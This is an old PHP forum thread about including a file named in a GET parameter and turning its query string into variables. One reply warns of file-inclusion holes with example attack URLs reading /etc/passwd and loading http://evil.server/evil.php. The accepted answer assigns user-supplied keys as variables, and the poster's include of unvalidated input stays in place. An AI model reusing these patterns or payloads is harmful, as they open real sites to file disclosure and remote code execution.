php include with GET

Discussion in 'PHP' started by jonhyhar, Dec 10, 2010.

  1. #1
    hello guys,I have a php page and it's my.php
    my urls are like

    my.php?page=p.php%3Fid%3D12%26pid%3D543%26k%3D7

    my.php
    
    $sayfa=urldecode($_GET['page']);  // url becomes p.php?id=12&pid=543&k=7
    list($phppage, $tail) =  explode('?', $sayfa); // $phppage is p.php
    
    
    include($phppage);
    
    Code (markup):
    the question is how can I include the tail (?id=12&pid=543&k=7)?
     
    jonhyhar, Dec 10, 2010 IP
  2. s_ruben

    s_ruben Active Member

    Messages:
    735
    Likes Received:
    26
    Best Answers:
    1
    Trophy Points:
    78
    #2
    Where do you want to include the tail? Write more details, please.
     
    s_ruben, Dec 10, 2010 IP
  3. jonhyhar

    jonhyhar Active Member

    Messages:
    166
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    53
    #3
    
    $sayfa=urldecode($_GET['page']);  // url becomes p.php?id=12&pid=543&k=7
    list($phppage, $tail) =  explode('?', $sayfa); // $phppage is p.php
    
    xfunctionx($tail); // xfunctionx turns the tail to $id=12; $pid=543; $k=7;
    
    include($phppage);
    
    Code (markup):
    what could xfunctionx be? :/
     
    jonhyhar, Dec 10, 2010 IP
  4. underground-stockholm

    underground-stockholm Guest

    Messages:
    53
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #4
    You have to be careful when including or requiring files with variables, otherwise you'll open up Remote/Local File Inclusion security vulnerabilities!

    People could fetch the page:

    my.php?page=/etc/passwd

    or:

    my.php?page=http://evil.server/evil.php

    or similar.
     
    underground-stockholm, Dec 10, 2010 IP
  5. jonhyhar

    jonhyhar Active Member

    Messages:
    166
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    53
    #5
    i'm going to use split and list functions for the security

    i.e
    if get url is hxxxp://evil.server/evil.php or any http urls
    list($aaa, $bbb) = split("/", $geturl);
    $bbb is evil.php
     
    jonhyhar, Dec 10, 2010 IP
  6. badhim

    badhim Member

    Messages:
    32
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    28
    #6
    This is very bad idea to include the file specified by the client. Splitting by slashes is not enough. For example, what if somebody call

    my.php?page=my.php

    Tell us what do you want to achieve. Maybe we can propose some more secure solution.
     
    badhim, Dec 10, 2010 IP
  7. jonhyhar

    jonhyhar Active Member

    Messages:
    166
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    53
    #7
    I'm just asking for xfunctionx, I'm not asking for "is it good or bad idea"
     
    jonhyhar, Dec 10, 2010 IP
  8. badhim

    badhim Member

    Messages:
    32
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    28
    #8
    As you wish :)

    
    parse_str($tail, $tailArray);
    
    foreach ($tailArray as $key=>$value) {
      ${$key} = $value;
    }
    
    PHP:
     
    badhim, Dec 10, 2010 IP
    jonhyhar likes this.
  9. jonhyhar

    jonhyhar Active Member

    Messages:
    166
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    53
    #9
    LOVE YOU BRO!! :D
    thank you! thank you! :)
     
    jonhyhar, Dec 10, 2010 IP